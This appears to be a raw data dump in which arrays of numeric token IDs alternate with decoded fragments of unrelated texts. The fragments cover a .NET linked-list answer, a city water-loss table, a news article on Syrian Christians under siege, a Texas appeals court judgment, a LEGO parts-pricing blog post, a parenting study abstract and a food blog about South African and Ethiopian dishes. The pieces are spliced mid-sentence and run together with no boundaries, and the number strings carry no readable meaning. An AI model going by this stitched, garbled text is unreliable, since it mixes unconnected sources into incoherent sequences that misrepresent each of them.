6108, 253, 2586, 943, 320, 247, 1921, 273, 1270, 4468, 13, 5747, 253, 1180, 273, 1110, 37637, 313, 255, 1878, 2067, 7114, 273, 6763, 10, 310, 816, 247, 6919, 273, 253, 2264, 1180, 273, 253, 5619, 26886, 6726, 281, 8773, 15, 2058, 247, 673, 672, 1142, 762, 1282, 253, 2495, 326, 773, 783, 3569, 39710, 1456, 273, 38220, 310, 7932, 407, 247, 9329, 13281, 9459, 7521, 2296, 1879, 15, 35667, 300, 5769, 343, 35667, 300, 13, 773, 783, 8630, 273, 15600, 310, 8312, 323, 253, 2644, 2586, 13, 323, 352, 2789, 10046, 436, 1072, 773, 4614, 474, 1204, 13, 534, 310, 25824, 1014, 407, 253, 5020, 273, 16492, 6598, 1893, 436, 2802, 911, 38695, 16236, 344, 11323, 773, 9846, 452, 9099, 327, 253, 7231, 7185, 285, 253, 8928, 9991, 534, 310, 271, 15231, 323, 12728, 6598, 17959, 15600, 13, 253, 6445, 2338, 26902, 31947, 13, 3534, 247, 1270, 7680, 281, 253, 2644, 2170, 13, 275, 1142, 4910, 27, 597, 497, 23033, 275, 29660, 13, 1580, 253, 4260, 14, 746, 394, 5331, 13, 253, 594, 1925, 33157, 273, 253, 8365, 4466, 285, 3448, 285, 13, 625, 4102, 13, 247, 4473, 273, 24588, 417, 1754, 327, 7231, 37846, 15, 1583, 671, 3534, 4201, 773, 936, 253, 4473, 273, 271, 8365, 15963, 13, 273, 271, 8365, 3114, 432, 247, 8928, 13, 9493, 285, 3569, 1127, 273, 1859, 6598, 496, 2509, 326, 13, 1879, 15, 35667, 300, 5769, 343, 35667, 300, 11424, 13, 773, 9328, 25536, 15600, 285, 16492, 273, 253, 10515, 5791, 7521, 285, 616, 1655, 2554, 275, 12728, 13, 347, 7815, 13, 310, 417, 1027, 15, 773, 3726, 1611, 281, 1056, 1921, 30950, 13, 616, 3819, 310, 417, 323, 253, 4146, 24836, 13, 390, 253, 1608, 6358, 13, 533, 323, 1966, 3570, 13, 7185, 285, 14483, 13, 323, 247, 8928, 285, 2675, 1966, 1204, 6598, 313, 37, 15, 46, 2698, 50254, 50276, 36, 2185, 4708, 3481, 24730, 187, 50254, 50276, 2354, 5707, 37, 34928, 3481, 49248, 187, 50254, 50272, 6651, 53, 26393, 3886, 535, 50254, 50272, 7651, 15, 16261, 14, 1010, 14, 933, 1706, 14, 8887, 535, 187, 39324, 285, 611, 13890, 10388, 49332, 13, 24180, 85, 32028, 50268, 7803, 50275, 4509, 253, 36859, 394, 4412, 2111, 187, 1779, 580, 1473, 13, 367, 1136, 357, 257, 427, 3903, 66, 13, 38881, 187, 395, 22707, 611, 11753, 91, 13, 5171, 1780, 84, 1751, 1952, 13, 50264, 7803, 50275, 1171, 308, 35083, 3928, 313, 25289, 14, 1630, 520, 2417, 14, 1047, 10, 187, 3074, 1988, 5418, 6339, 13, 285, 5332, 329, 15, 187, 46, 6968, 77, 1257, 1321, 50254, 50270, 50276, 3015, 50275, 21859, 3285, 13, 4022, 535, 50254, 252, 50264, 50276, 7803, 50275, 48, 22104, 407, 8293, 3189, 1321, 187, 87, 15, 187, 50254, 252, 50264, 50276, 7803, 50275, 37, 739, 290, 407, 8293, 14893, 491, 394, 187, 187, 21093, 273, 25686, 3423, 50254, 50275, 7803, 50275, 9, 257, 30973, 10, 535, 50266, 43, 7273, 40, 10634, 8160, 16449, 378, 24831, 28239, 35427, 1838, 947, 6570, 535, 50272, 1552, 1302, 556, 2783, 253, 1924, 327, 4549, 275, 436, 1083, 285, 6556, 326, 187, 187, 9088, 369, 2228, 275, 253, 2332, 1302, 457, 84, 1340, 15, 733, 310, 6960, 326, 253, 1340, 273, 253, 2332, 187, 187, 13550, 310, 13891, 285, 253, 1083, 310, 27013, 281, 253, 2332, 1302, 323, 2007, 187, 187, 856, 22868, 5185, 342, 436, 4743, 15, 535, 50272, 1147, 310, 2007, 6960, 326, 22706, 3228, 273, 25686, 3423, 3091, 2075, 512, 4815, 273, 187, 187, 2520, 4549, 13, 323, 534, 1339, 10636, 2523, 15, 2756, 50254, 50266, 19115, 28104, 34928, 14732, 3481, 24730, 535, 50254, 50266, 2896, 1227, 84, 16, 7641, 3189, 1321, 187, 50254, 245, 50265 ]	requires.NET 3.5). The drawback is that it creates a new instance of LinkedList, which may not be what you want... You could do something like that instead : foreach(var item in llist2) { llist1.AddLast(item); } A: Here you can find my linked list implementation with O(1) concat and split times. Why.NET LinkedList does not support Concat and Split operations? Short summary Advantages vs.NET LinkedList: Less memory consumption, thus every node SimpleLinkedListNode has three pointers (prev, next, value) instead of four (prev, next, list, value) unlike original.NET implementation. Supports Concat and Split operations in O(1) Supports IEnumarable Reverse() enumerator in O(1) – by the way I do not see any reason why it’s not provided natively on the.NET LinkedList. Appropriate extension method requires O(n). Disadvantages: Does not support Count. Concat operation leaves second list in an inconsistent state. Split operation leaves original list in an inconsistent state. You are able to share nodes between lists. Other: I have chosen an alternative strategy for implementing enumeration and find operations, rather than more verbose and purely readable original implementation. I hope the negative performance impact remains insignificant. What was the Utility's most recent reported total percent water loss as stated in its Water Audit Report? Total Percent (%) Water Loss City of Wichita Falls 2018 5 2017 5 2016 0 2015 0 The percentage of water lost from the distribution system provides the utility with a baseline from which to monitor and improve water loss control. A higher percent water loss means that a utility is losing water that could be used or conserved to delay potential expensive water infrastructure projects in the futureSyria – Christians: Under Siege In the ravaged country, many religious institutions and buildings, both Muslim and Christian, have been hit, damaged or destroyed. The confessional element of the conflict has been underlined by commentators, especially those, on both sides, blaming the intervention of foreign forces on the battlefield. The Iran-backed Shia militia and party, Hezbollah, gave its support to the loyalists, while the rebels were soon joined by Sunni radical groups, whose behavior, however, has increasingly changed with time: some groups, such as the qaedist faction ISIS, clashed with the rebels themselves. In this context, Syrian Christians (who make up between 5% and 10% of the population) have shared the fate of the entire population, being under attack, as a Minority Group International report wrote, quoting eyewitness sources, “by both armed militias and the government” even when carrying “no guns”. “They are not at war, but they suffer from it”, says Fr. Samir Khalil Samir also, an Egyptian Jesuit and a professor at both St. Joseph University in Beirut and the Pontifical Oriental Institute. “They say: ‘we are a part of the Syrian people, everything happening to my neighbor, whether he is Sunni or Shia, or anything else, also affects me’, and that’s why they are targeted by extremists of both sides”, Fr. Samir adds. The Ma’aloula nuns Many episodes – although not easy to reconstruct due to the lack of independent sources in the war-torn country – have sparked international outrage. One of the most recent is the disappearance, at the beginning of December, of twelve Orthodox nuns who went missing from Saint Tecla convent, one of the many churches and monasteries in Ma’aloula, 50 kilometers northwest of Damascus. This same village was the scene of a battle between rebels and government forces which affected the local Christian community in September. According to media reports, the nuns were taken by force from the convent by opposition fighters, while a Syrian opposition activist said they were taken away for their own safety. The Ma’aloula nuns are not the only Christians held hostages in the country: two priests, Michel Kayyal (an Armenian Catholic) and Maher Mahfouz (a Greek Orthodox) were kidnapped in February 2013; the Italian Jesuit father Paolo Dall’Oglio was kidnapped last July in Raqqa, an ISIS-held town in the North, when reportedly negotiating either a local ceasefire or the liberation of some hostages. Also the whereabouts of two Orthodox bishops, Boulos Yazigi and Yohanna Ibrahim, are currently unknown. UN Secretary-General Ban Ki-moon condemned such acts in a statement in January, saying that “the United Nations rejects any targeting of persons based on their religion, community or ethnic affiliation”. “Civilians throughout Syria are at risk and must be protected”, the communiqué read on. Abuses carried out by militias – especially Islamist ones – have made much of the news when it came to Christians. Last June a Catholic priest, Fr. François Murad, was killed by ‘an anti-government group’ in Idlib, the report of a UN-backed independent commission of inquiry on Syria stated. In towns and villages seized by radical fighters, some Christian religious buildings were desecrated, as happened in Raqqa, where last September ISIS fighters stormed both the Greek Orthodox church of the Annunciation and an Armenian church, replacing the cross with an al-Qaeda flag. The jihadists also imposed strict rules – in accordance with their version of sharia – on the entire population. In the besieged city On the other hand, the already mentioned UN-backed commission accused the government of “positioning military objectives inside towns and villages” whose population is “mainly Shia, Alawite Christian”, and this behavior “contributed to rising sectarian tensions”. Also in Homs, among those trapped in the city center surrounded by government troops, there are Christians, led by a Jesuit priest, Fr. Frans Van der Lugt, who recently raised the alarm: people in the besieged city are “dying of hunger”. In equally dramatic situations, however, Christians managed to help those who were in need or risked their lives, as in Bayda, where, according to Human Rights Watch, many Sunnis at risk of being slaughtered by government after May 2 found shelter in Christian neighborhoods, or in Homs, where a Catholic cleric, Fr. Ghassan Sahoui, still runs a center which gives aid to several hundred children and disabled people. Humanitarian assistance is not the only reason why Syrian Christians are precious to their home country. That is why the fact that many of them are leaving the country should be a reason of great concern, despite the number of those fleeing (at least several tens of thousands) is just a fraction of the total number of the Syrians forced to escape. At a time when many underline the risk that “the political dictatorship of Assad is replaced by a radical Islamic regime”, says Fr. Khalil Samir Khalil, “the flight of Christians is dangerous for the whole country, for it makes stronger this same “radicalism, which is unwanted even by the majority of Muslims”. So this ‘exodus’, he adds “will have consequences on the religious freedom and the cultural diversity which is an asset for Syria”. Syrian Christians, the Jesuit scholar remembers, gave a great contribution to the whole area, in many fields: they were instrumental in originating, since the mid-19th century, the so called Renaissance of the Arab culture and language and, more recently, a concept of citizenship not based on religious affiliation. They also gave birth “to the concept of an Arab Nation, of an Arab community from a cultural, historical and political point of view”. In doing that, Fr. Khalil Samir Khalil explains, “they united Christians and Muslims of the Middle East”, and their current role in Syria, as citizens, is not different. “They try to make reason prevail, their fight is not for the Sunnis, or the Shias, but for human rights, freedom and democracy, for a cultural and social humanism”. (D.M.) COURT OF APPEALS SECOND DISTRICT OF TEXAS FORT WORTH NO. 02-15-00034-CV Josh and Kelli Savering, Chattanya § From the 348th District Court Chavda, Pannaben Nancha, Phillip and Lisa Klotz, Paul Arseneau, § of Tarrant County (348-270155-14) Allison Blackstein, and Jack A. Muhlbeier § September 29, 2016 § Opinion by Justice Meier v. § Dissent by Justice Sudderth City of Mansfield § (en banc) JUDGMENT ON EN BANC RECONSIDERATION This court has considered the record on appeal in this case and holds that there was error in the trial court’s order. It is ordered that the order of the trial court is reversed and the case is remanded to the trial court for further proceedings consistent with this opinion. It is further ordered that Appellee City of Mansfield shall pay all costs of this appeal, for which let execution issue. SECOND DISTRICT COURT OF APPEALS By /s/ Bill Meier
[ 374, 14182, 18707, 31773, 13, 12778, 374, 1269, 374, 342, 416, 8055, 36035, 26392, 25905, 21, 310, 2130, 275, 247, 7863, 577, 5239, 1690, 253, 530, 5166, 1720, 8382, 18724, 15507, 254, 15, 1583, 476, 320, 574, 323, 247, 1698, 2105, 984, 597, 497, 2130, 275, 247, 1077, 27296, 873, 27744, 24, 24244, 6625, 1502, 15, 380, 2264, 1180, 273, 34864, 327, 378, 4662, 4492, 310, 1679, 685, 2233, 15, 187, 187, 2512, 310, 247, 2014, 14182, 18707, 37621, 18086, 884, 1269, 884, 1269, 577, 3821, 21805, 342, 21208, 282, 46386, 26392, 3436, 1093, 534, 310, 671, 4451, 281, 436, 873, 15, 1707, 403, 4390, 5293, 2130, 323, 7289, 327, 378, 4662, 4492, 285, 253, 1390, 721, 1770, 6224, 3388, 310, 816, 1840, 370, 1797, 15, 1235, 13, 342, 253, 4585, 1146, 370, 1619, 15, 187, 187, 9301, 13, 627, 403, 374, 14182, 18707, 3689, 338, 304, 28496, 561, 300, 1023, 633, 386, 26392, 24271, 3439, 3529, 310, 760, 2130, 275, 436, 285, 8978, 3121, 7121, 45626, 539, 15, 733, 434, 2130, 323, 1679, 685, 370, 18, 533, 253, 3388, 7289, 4376, 310, 8003, 281, 370, 18, 15, 1235, 323, 247, 908, 5313, 15, 187, 187, 1394, 671, 878, 884, 273, 247, 9648, 1846, 26392, 577, 18795, 5418, 31773, 40370, 854, 1269, 854, 342, 1997, 408, 15, 831, 310, 16613, 984, 273, 253, 4567, 5239, 342, 436, 5313, 13, 760, 436, 873, 13, 657, 6475, 434, 308, 9051, 36808, 313, 1036, 10, 285, 253, 444, 338, 293, 20610, 313, 1012, 10, 2430, 625, 685, 577, 15, 733, 31218, 670, 13355, 2417, 1016, 15, 187, 187, 28343, 12034, 285, 5307, 26392, 1884, 1449, 81, 520, 5418, 7335, 1714, 374, 1269, 337, 342, 495, 4410, 418, 11441, 13, 495, 25056, 1292, 24787, 13, 25056, 26580, 29484, 369, 4439, 275, 854, 5239, 15, 1422, 760, 878, 337, 285, 352, 434, 11142, 387, 670, 13355, 1099, 187, 187, 8195, 7520, 5313, 326, 368, 878, 310, 374, 10063, 399, 763, 721, 1269, 721, 496, 13083, 313, 13021, 274, 10, 7066, 3026, 428, 8078, 374, 26392, 577, 23025, 67, 15, 733, 310, 2908, 275, 253, 625, 3332, 8437, 2405, 308, 9051, 45398, 17078, 285, 347, 271, 17958, 5313, 275, 8170, 28430, 4291, 41053, 15, 1583, 3388, 670, 13355, 1449, 1016, 13, 3164, 984, 253, 1077, 2074, 577, 23025, 66, 671, 6613, 13355, 1449, 187, 187, 510, 10315, 18707, 6439, 280, 378, 4662, 577, 89, 21, 7489, 4055, 4567, 21397, 310, 2130, 275, 884, 5239, 1690, 374, 3081, 530, 5166, 5239, 285, 253, 18189, 3228, 15, 1198, 247, 908, 581, 13, 253, 4376, 31218, 2810, 281, 13355, 1235, 187, 187, 21, 10063, 34382, 301, 388, 583, 495, 2188, 399, 15, 1384, 45, 1227, 1668, 15, 17, 3591, 26392, 6879, 68, 938, 403, 671, 2424, 15, 831, 5313, 4620, 275, 577, 5239, 13, 253, 954, 3332, 273, 534, 369, 4050, 434, 22222, 1247, 4974, 11107, 1525, 15, 380, 4942, 3332, 11659, 273, 436, 873, 3164, 12668, 253, 4376, 1066, 15, 187, 187, 7050, 6931, 1549, 3498, 21, 14182, 18707, 399, 763, 577, 1269, 577, 496, 13083, 313, 13021, 274, 10, 342, 8141, 14848, 308, 9051, 388, 1506, 29484, 369, 2130, 342, 253, 308, 9051, 45398, 818, 16607, 285, 253, 530, 5166, 1720, 8382, 15204, 796, 14311, 1216, 2233, 746, 15, 380, 625, 1846, 14182, 2071, 37043, 18707, 2715, 310, 2130, 342, 854, 5239, 313, 14102, 10344, 13, 9326, 13, 512, 308, 9051, 45398, 11640, 2698, 380, 14182, 18707, 12955, 310, 670, 13355, 1438, 327, 3388, 15, 187, 187, 8195, 7520, 5313, 13, 253, 577, 14182, 18707, 4033, 337, 89, 20, 313, 30045, 34107, 16, 10504, 1133, 1178, 10, 26392, 721, 16129, 310, 2130, 342, 247, 2264, 273, 577, 5239, 15, 530, 5166, 1720, 8382, 15204, 796, 14311, 1216, 13, 530, 5166, 18724, 15507, 254, 13, 285, 9963, 1839, 8229, 366, 4697, 26703, 15, 1422, 1472, 3164, 1469, 281, 6947, 2810, 281, 13355, 1976, 1016, 327, 841, 15, 187, 187, 11564, 854, 5239, 452, 26392, 1884, 1867, 15656, 11494, 10315, 18707, 7335, 1714, 374, 1269, 374, 342, 44211, 2102, 28288, 29891, 29484, 15, 733, 434, 760, 670, 13355, 938, 13, 533, 11543, 281, 320, 275, 954, 952, 434, 18345, 4243, 15, 187, 187, 7050, 1884, 1449, 3498, 19, 14182, 18707, 7335, 1714, 374, 89, 18, 5418, 10547, 41754, 3102, 6115, 13188, 1238, 29484, 310, 2130, 275, 818, 5239, 285, 31218, 670, 13355, 938, 15, 187, 187, 510, 1390, 2181, 326, 1142, 38454, 1908, 672, 21016, 436, 873, 285, 253, 954, 4755, 2181, 326, 368, 812, 923, 275, 247, 10713, 2257, 310, 253, 9775, 1984, 15, 41959, 1984, 378, 4662, 4492, 2722, 495, 273, 841, 4211, 275, 253, 1390, 495, 2607, 285, 495, 4390, 2130, 15, 380, 4376, 7102, 2722, 326, 253, 4211, 5098, 2491, 432, 370, 1099, 14595, 1671, 15, 187, 187, 1909, 309, 753, 4321, 13, 512, 273, 253, 18707, 27695, 707, 403, 253, 5662, 1997, 698, 15, 337, 16, 20, 273, 253, 873, 556, 417, 644, 4197, 275, 436, 3295, 323, 689, 247, 9976, 15, 5595, 952, 1053, 626, 452, 326, 1142, 5662, 18707, 7437, 23157, 1475, 15, 380, 7520, 7437, 403, 7777, 7520, 285, 1663, 8214, 323, 247, 873, 326, 310, 3012, 4577, 685, 954, 530, 5166, 5239, 15, 1876, 273, 253, 28648, 7437, 285, 7437, 7320, 432, 247, 1355, 1180, 273, 5662, 5239, 403, 1469, 281, 2572, 253, 1180, 273, 20098, 4492, 7367, 326, 368, 651, 878, 281, 1659, 15, 10916, 27459, 13, 604, 368, 1053, 626, 2168, 452, 247, 17167, 273, 2234, 7437, 13, 368, 943, 3164, 816, 4489, 247, 3426, 581, 13, 5734, 368, 1663, 513, 751, 247, 1048, 1307, 2199, 15, 187, 187, 42, 671, 1928, 26337, 281, 3748, 326, 436, 873, 4453, 1711, 15, 42438, 352, 281, 530, 5166, 308, 9051, 45398, 25782, 2222, 352, 4453, 2972, 90, 285, 20523, 15, 1707, 434, 247, 2176, 22611, 281, 253, 5662, 5239, 13, 285, 1580, 436, 310, 253, 760, 3565, 308, 9051, 5383, 17516, 13, 530, 5166, 1176, 10841, 1346, 588, 1900, 452, 247, 1659, 323, 352, 15, 733, 434, 38342, 326, 253, 12838, 10993, 5901, 588, 320, 867, 1170, 352, 3517, 13, 533, 309, 4282, 604, 597, 2455, 588, 15, 380, 908, 4376, 273, 436, 873, 3548, 626, 11527, 13, 3164, 1955, 281, 253, 1979, 273, 253, 873, 15, 187, 187, 6300, 323, 794, 309, 1833, 4710, 598, 253, 1551, 273, 253, 22685, 7968, 285, 368, 476, 923, 604, 368, 476, 2619, 562, 253, 2234, 7437, 13, 285, 476, 368, 1056, 562, 253, 643, 1781, 873, 326, 434, 275, 627, 32, 187, 187, 688, 253, 3618, 281, 1705, 13, 309, 588, 320, 18216, 253, 7437, 326, 1056, 598, 1016, 273, 253, 9872, 2030, 5595, 4009, 8584, 5239, 1157, 37648, 22729, 263, 12234, 13, 285, 4559, 792, 84, 15, 15852, 84, 342, 2151, 275, 1557, 283, 42, 15, 11604, 5989, 285, 31104, 15, 187, 6504, 1374, 941, 327, 247, 12640, 3410, 273, 5870, 342, 2151, 30247, 8176, 281, 16252, 1557, 407, 581, 6703, 4693, 46861, 497, 48397, 342, 1110, 432, 247, 5301, 3410, 432, 253, 1072, 25231, 2170, 15, 380, 275, 14, 6672, 1387, 497, 7019, 347, 2779, 281, 320, 18492, 1655, 31104, 3237, 342, 608, 14, 281, 854, 14, 2913, 14, 744, 2151, 13, 533, 497, 15622, 432, 253, 2168, 12307, 2961, 5301, 1387, 347, 1199, 407, 643, 9351, 273, 2021, 12748, 347, 407, 31104, 3237, 591, 396, 15, 733, 369, 3103, 9125, 326, 31104, 2550, 320, 2326, 347, 271, 11104, 273, 4292, 30472, 273, 616, 1655, 5989, 15, 52, 1831, 661, 403, 13103, 15, 1893, 310, 2739, 15, 187, 187, 2320, 37027, 187, 187, 1147, 457, 84, 3189, 267, 281, 20930, 673, 2, 2752, 13056, 14448, 342, 42778, 285, 23948, 16300, 835, 359, 1016, 4417, 247, 2282, 1754, 327, 247, 873, 10014, 15, 831, 1770, 457, 84, 10014, 310, 773, 17967, 8118, 668, 285, 309, 369, 18564, 253, 2022, 2282, 15, 309, 1160, 33131, 302, 466, 13, 534, 310, 247, 30363, 1095, 2200, 1054, 336, 11609, 13, 342, 247, 8463, 285, 7238, 281, 2784, 14517, 3062, 2866, 10, 187, 187, 26600, 40650, 309, 457, 306, 1160, 1841, 323, 436, 5311, 326, 4455, 751, 247, 1175, 2934, 387, 253, 673, 15, 1244, 840, 16906, 13, 309, 457, 306, 1869, 13, 773, 1276, 327, 444, 1277, 3886, 369, 309, 4680, 32, 7721, 2594, 3332, 6667, 27, 1133, 7320, 41168, 13, 1269, 22728, 1048, 270, 8500, 13, 10692, 23182, 5500, 68, 1582, 13, 281, 1416, 816, 247, 1643, 15, 309, 9101, 436, 13612, 588, 6604, 1110, 12028, 15, 6049, 32, 6089, 13, 2028, 479, 1108, 452, 368, 2455, 10379, 1258, 728, 256, 472, 1100, 1078, 32, 187, 187, 4553, 776, 2159, 7408, 281, 17361, 13, 359, 4895, 281, 21818, 342, 619, 275, 14, 33530, 13, 743, 3024, 442, 285, 21638, 275, 12413, 15, 21638, 275, 1798, 1663, 14528, 2739, 13, 594, 309, 369, 19497, 281, 1379, 731, 562, 323, 690, 1175, 16961, 15, 187, 187, 4041, 7237, 359, 2427, 281, 253, 3506, 656, 7432, 757, 1108, 285, 984, 21638, 310, 22145, 4087, 973, 29433, 13, 344, 556, 2686, 22186, 3506, 656, 7432, 757, 2739, 1078, 19639, 2949, 3506, 656, 7432, 571, 313, 5371, 457, 84, 1024, 1929, 347, 10570, 30147, 285, 444, 902, 3525, 481, 6089, 15, 2058, 1878, 743, 3024, 442, 574, 1620, 7407, 352, 1078, 2, 187, 187, 510, 3506, 656, 7432, 757, 310, 247, 1077, 4633, 10301, 326, 1057, 2739, 432, 253, 23972, 273, 7531, 13, 9417, 5899, 27247, 757, 285, 444, 902, 250, 266, 12398, 15, 6000, 673, 359, 564, 627, 13, 352, 310, 1900, 14998, 15, 844, 9403, 1340, 253, 5019, 499, 2569, 13, 533, 436, 673, 309, 4425, 326, 359, 943, 1340, 17114, 432, 253, 8910, 15, 187, 187, 1231, 574, 247, 4564, 273, 37843, 281, 488, 85, 776, 27690, 313, 1439, 326, 776, 22115, 3254, 3058, 488, 85, 1076, 30970, 844, 574, 253, 8359, 1370, 36794, 1279, 4816, 23, 15, 361, 582, 534, 497, 37072, 273, 46342, 7238, 8186, 326, 574, 644, 43235, 285, 2304, 3901, 342, 5352, 17426, 13, 17972, 4166, 285, 27450, 447, 15, 187, 187, 1231, 671, 574, 253, 1182, 1028, 46635, 26023, 4816, 23, 15, 361, 582, 534, 369, 618, 307, 860, 264, 1182, 1028, 46635, 342, 247, 1708, 13, 42028, 17099, 1257, 250, 285, 24108, 12364, 326, 574, 644, 8689, 34269, 342, 24983, 27450, 447, 12922, 15, 187, 187, 9, 8497, 27, 17099, 1257, 250, 310, 247, 3511, 39371, 7802, 326, 310, 247, 2234, 24405, 275, 27247, 757, 285, 444, 902, 250, 266, 2739, 15, 496, 75, 3525, 310, 247, 18988, 13, 13785, 640, 751, 10238, 326, 310, 21533, 1160, 273, 716, 567, 1108, 247, 13723, 326, 3548, 457, 85, 2130, 275, 6976, 15, 2058, 253, 3506, 656, 7432, 266, 352, 457, 84, 1160, 342, 1881, 12976, 12274, 13, 11789, 13, 2502, 256, 2061, 18256, 285, 14128, 892, 2108, 15, 1916, 1056, 2450, 3525, 13, 253, 12274, 310, 6804, 342, 1824, 285, 4136, 281, 42990, 323, 2067, 1897, 13, 1078, 1146, 30363, 715, 1781, 13785, 1582, 15, 733, 3249, 562, 2602, 285, 39088, 90, 13, 342, 8783, 273, 2329, 11385, 327, 581, 1930, 2698, 187, 187, 14358, 37843, 2210, 342, 2450, 3525, 10238, 21968, 15, 1583, 497, 15143, 1108, 42028, 285, 14998, 342, 34149, 15, 1583, 497, 258, 1031, 2167, 15, 831, 310, 417, 247, 1659, 326, 1057, 6196, 2739, 2, 187, 187, 2214, 39047, 13, 359, 6960, 2620, 17114, 281, 3894, 875, 441, 15, 329, 1781, 499, 2569, 273, 2450, 3525, 369, 3982, 562, 285, 253, 22855, 84, 497, 40414, 327, 1755, 15, 380, 2739, 310, 22186, 407, 4172, 2784, 745, 1355, 7437, 273, 2450, 3525, 285, 970, 253, 10238, 281, 2619, 598, 22855, 15, 187, 187, 1231, 574, 27, 187, 187, 510, 439, 9401, 4816, 1010, 10, 534, 369, 25806, 3216, 653, 5491, 8734, 365, 284, 326, 574, 644, 18621, 285, 948, 38086, 342, 17972, 4166, 285, 17513, 17426, 15, 353, 44264, 278, 44264, 13, 2451, 562, 326, 4166, 15, 309, 858, 1333, 2168, 326, 352, 457, 84, 417, 6196, 2739, 2, 733, 1160, 323, 247, 42028, 13, 5825, 555, 12364, 13, 3738, 309, 651, 452, 7636, 352, 604, 690, 7437, 273, 8734, 365, 66, 574, 644, 1669, 275, 323, 14542, 15, 831, 369, 5608, 275, 247, 1652, 1721, 13, 285, 359, 26531, 264, 253, 3511, 12364, 26531, 264, 689, 253, 2450, 3525, 347, 359, 18739, 15, 187, 187, 510, 19155, 5830, 4816, 1093, 10, 14278, 273, 1781, 37072 ]	2 Dark Gray Plate, Round 2 x 2 with Rounded Bottom Element 2654 is available in a massive 4 sets including the UCS Rebel Snowspeeder. They can be had for a low cost because they were available in a very inexpensive set 4097 Mini Robots. The total number of sellers on Bricklink is less than 100. There is a single Dark Gray Cockpit 10 x 10 x 4 Octagonal with Axle Hole Element 2618 which is also unique to this set. There are currently none available for sale on Bricklink and the last 6 month sales average is just above $21.50, with the highest being $28. Next, there are 2 Dark Gray Minifig Utensil Sextant Element 30154that is only available in this and 5976 River Expedition. It's available for less than $1 but the average sale price is closer to $1.50 for a used piece. You also need 10 of a fairly common Element 4151 Black Plate Modified 8 x 8 with Grill. This is notable because of the 32 sets with this piece, only this set, Vader's TIE Advance (16) and the Eifel Tower (13) require more than 4. It averages about $.55 each. Between 1987 and 2000 Element 3040p01 Black Slope 2 x 1 with 3 Red Lamps, 3 Yellow Buttons, Yellow Border Pattern was released in 8 sets. You only need 1 and it's cheap at about $.25 Another rare piece that you need is 2 Blue Dish 6 x 6 Inverted (Radar) Webbed - Type 2 Element 4285b. It is included in the more recent 10131 TIE Fighter Collection and as an alternate piece in Central Precinct HQ. They average about $.40 each, probably because the very similar 4285a also runs $.40 The Light Gray Technic Brick 4x4 Open center 32324 is available in 10 sets including 2 additional UCS sets and the Cloud City. For a used one, the price averages close to $.50 4 Blue Rigid Hose 3mm D. 20L / 16.0cm Element 75c20 are also required. This piece appears in 4 sets, the most recent of which was 2012's Gungan Sub 9499. The relatively recent availability of this set probably drove the price down. Element 3960px4 Dark Gray Dish 4 x 4 Inverted (Radar) with Star Wars TIE Hatch Pattern was available with the TIE Fighter 7146 and the UCS Rebel Blockade Runner 10019. The more common Dark Bluish Gray version is available with 8 sets (Surprise, surprise, all TIE Fighter variants.) The Dark Gray variant is about $.80 on average. Another rare piece, the 4 Dark Gray Bar 1x3 (Radio Handle/Phone handset) Element 6190 is available with a total of 4 sets. UCS Rebel Blockade Runner, UCS Snowspeeder, and 6738 Skateboard Challenge. You're probably going to spend close to $.75 each on these. Only 8 sets have Element 3039pb014 Light Gray Slope 2 x 2 with Horizon Indicator Screen Pattern. It's only about $.20, but unlikely to be in most people's spare parts. Element 3040px2 Dark Gray Slope 2x1 Black Crosshair pattern Green insectoid Pattern is available in 7 sets and averages about $.20. The last thing that many collectors consider when purchasing this set and the most obvious thing that you could see in a bulk lot is the instruction book. Instruction book Bricklink shows 3 of these sold in the last 3 months and 3 currently available. The price guide shows that the sold books range from $25-$35. As I said earlier, all of the Gray Pieces are the older Grays. 1/3 of the set has not been produced in this color for over a decade. Most people don't have that many older Gray pieces laying around. The rare pieces are truly rare and really expensive for a set that is significantly smaller than most UCS sets. All of the specialty pieces and pieces pulled from a small number of older sets are going to increase the number of bricklink orders that you would need to place. Honestly, if you don't already have a handful of key pieces, you should probably just buy a complete one, unless you really do like a long term project. I also feel obliged to mention that this set looks old. Comparing it to UCS TIE Fighter 75095 it looks blocky and primitive. There's a certain charm to the older sets, and since this is the only official TIE Interceptor, UCS Completists will always have a place for it. It's doubtful that the LEGO Group will be remaking it soon, but I wonder if they ever will. The used price of this set isn't terrible, probably due to the size of the set. Just for fun I'll throw up the rest of the auction pictures and you can see if you can pick out the key pieces, and can you make out the other large set that's in there? In the weeks to come, I will be exploring the pieces that make up each of the Top 25 Most Valuable sets, Ultimate Collector Series, and Modulars.Parents with children in care--I. Current circumstances and parenting. Interview data on a consecutive sample of families with children multiply admitted to residential care by one inner London borough were contrasted with those from a comparison sample from the same geographical area. The in-care group were twice as likely to be experiencing current parenting problems with 5- to 8-year-old children, but were distinguished from the already disadvantaged comparison group as much by other kinds of family difficulties as by parenting problems per se. It was therefore argued that parenting cannot be seen as an attribute of individuals irrespective of their current circumstances.Sporks are awesome. So is food. african It’s Meal to Share time! My monthly collaboration with Penny and Celeste where we each cook a course based on a set theme. This month’s theme is “South African” and I was allocated the main course. I made bobotie, which is a baked curried mince dish, with a milk and egg topping.(more…) Occasionally I’ve made things for this blog that seemed like a good idea at the time. And then afterwards, I’ve thought, “What on EARTH was I thinking??” See recent examples: hand pulled noodles, xiao long bao, ladybird cupcakes, to name just a few. I suspect this recipe will join those entries. Why? Well, tell me – have you ever butterflied sardines before? After our short trip to Sydney, we returned to Melbourne with my in-laws, Annette and Terry in tow. Terry in particular really loves food, so I was keen to take them out for some good meals. One evening we went to the Abyssinian – and because Terry is outrageously well travelled, he has actually eaten Abyssinian food before…. IN Abyssinia (what’s now known as Ethopia and Eritera). Well. At least Annette had never experienced it before! The Abyssinian is a very popular restaurant that does food from the Horn of Africa, serving traditional Ethiopian and Eritrean cooking. Every time we go there, it is always packed. We normally order the combination platter, but this time I decided that we should order dishes from the menu. We had a couple of starters to whet our appetite (not that our appetites needed whetting!). We had the Melaznzany ($6.00), which were cubes of grilled eggplant that had been seasoned and marinated with fresh garlic, olive oil and chillies. We also had the zucchini starter ($6.00), which was sautéed zucchini with a light, spicy berbere and tomato sauce that had been sprinkled with crushed chillies seeds. (Note: berbere is a hot spice mixture that is a key ingredient in Ethiopian and Eritrean food. Injera is a sour, pancake like bread that is traditionally made of teff – a grain that isn’t available in Australia. At the Abyssinan it’s made with self raising flour, rice, red sorghum and corn flours. To make injera, the flour is mixed with water and allowed to ferment for several days, before being baked into large pancakes. It comes out soft and spongey, with lots of air holes on one side.) Both starters came with injera bread rolls. They were fantastic – spicy and packed with flavour. They were oily though. This is not a place that does diet food! For mains, we ordered five dishes to share between us. A large platter of injera was brought out and the stews were tipped on top. The food is eaten by ripping off small pieces of injera and using the bread to pick up stew. We had: 